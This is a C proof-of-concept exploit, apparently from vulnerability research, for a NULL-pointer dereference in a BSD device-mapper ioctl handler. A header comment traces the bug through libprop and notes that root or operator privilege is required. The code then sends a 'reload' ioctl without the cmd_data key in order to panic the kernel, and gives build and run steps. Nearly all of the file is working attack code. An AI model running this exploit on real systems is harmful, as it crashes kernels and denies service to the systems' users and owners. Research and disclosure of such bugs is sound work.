/*
 * DF-2448 PoC -- dm_table_load_ioctl NULL-deref via missing DM_IOCTL_CMD_DATA.
 *
 * Bug (sys/dev/disk/dm/dm_ioctl.c):
 *   673: dm_table_load_ioctl(prop_dictionary_t dm_dict)
 *   ...
 *   707:     cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA);
 *   708:     iter = prop_array_iterator(cmd_array);   <-- NULL deref
 *
 * When the inbound dictionary OMITS the "cmd_data" key (or holds it as a
 * non-array), prop_dictionary_get() returns NULL (sys/libprop/prop_dictionary.c:933
 * -- NULL when key absent). The result is passed unchecked to
 * prop_array_iterator() (sys/libprop/prop_array.c:538), whose very first
 * statement is
 *
 *     _PROP_RWLOCK_RDLOCK(pa->pa_rwlock);   // line 542
 *
 * which under _KERNEL expands (sys/libprop/prop_object_impl.h:297) to
 *
 *     mtx_lock(&(pa->pa_rwlock));
 *
 * i.e. mtx_lock(&(((struct prop_array *)NULL)->pa_rwlock)) -- a NULL+offset
 * pointer dereference taken BEFORE the prop_object_is_array() guard inside
 * _prop_array_iterator_locked() (line 517) can run.  Result: kernel panic
 * (kernel-mode access to address ~0x60).  This happens before the
 * dm_dev_lookup at line 711, so no device needs to exist.
 *
 * Trigger: a NETBSD_DM_IOCTL with command="reload" (or any of the other
 * commands that route to dm_table_load_ioctl), a valid DM_IOCTL_VERSION array,
 * but with DM_IOCTL_CMD_DATA ("cmd_data") OMITTED from the dictionary.
 *
 * Privilege note: /dev/mapper/control is created 0640 root:operator
 * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed
 * by root.  This PoC therefore must run as root (or an operator-group member)
 * -- the bug is a root->kernel DoS / hardening gap, NOT an unprivileged->root
 * escalation.  NULL-deref has no write primitive, so no escalation chain is
 * possible (valid hard blocker -- see VERDICT.md).
 *
 * Build:  cc -o dm_nulldata_deref dm_nulldata_deref.c -lprop
 * Run:    ./dm_nulldata_deref        (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define	DM_CONTROL_DEV	"/dev/mapper/control"
#define	DEV_NAME	"df2448dev"

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	if (dict == NULL) {
		fprintf(stderr, "prop_dictionary_create failed\n");
		exit(1);
	}

	/* dm_check_version requires major==4 and minor<=16 */
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);	/* DM_VERSION_MAJOR */
	prop_array_add_uint32(ver, 0);	/* minor <= DM_VERSION_MINOR (16) */
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);

	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);

	return dict;
}

int
main(void)
{
	prop_dictionary_t dict;
	int fd, rv;

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		fprintf(stderr, "(is the dm module loaded? run: kldload dm)\n");
		return 1;
	}

	/*
	 * Step 1 (optional but realistic): create a dm device.  The panic at
	 * dm_ioctl.c:708 happens BEFORE the dm_dev_lookup at line 711, so a
	 * device is not strictly required -- but creating one mirrors a
	 * plausible attack scenario (legitimate device, malformed reload).
	 */
	dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	printf("[*] create '%s': rv=%d (%s)\n",
	    DEV_NAME, rv, rv ? strerror(rv) : "ok");
	prop_object_release(dict);
	if (rv != 0) {
		fprintf(stderr, "[!] create failed; continuing anyway "
		        "(the NULL deref is upstream of the device lookup).\n");
	}

	/*
	 * Step 2 (the trigger): command="reload" routes through
	 * dm_cmd_to_fun -> dm_table_load_ioctl.  We OMIT the
	 * DM_IOCTL_CMD_DATA ("cmd_data") key, so prop_dictionary_get at
	 * dm_ioctl.c:707 returns NULL and prop_array_iterator(NULL) at line
	 * 708 dereferences it.
	 */
	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	/* DM_IOCTL_CMD_DATA intentionally NOT set */

	printf("[*] sending 'reload' ioctl WITHOUT 'cmd_data' key...\n");
	printf("[*] expect: kernel panic -- NULL deref in prop_array_iterator\n");
	fflush(stdout);

	rv = send_ioctl(fd, dict);
	/* If we reach here, the kernel did not panic on this run. */
	printf("[!] reload ioctl returned rv=%d (%s) -- kernel survived?\n",
	    rv, rv ? strerror(rv) : "ok");

	prop_object_release(dict);
	close(fd);
	return 0;
}
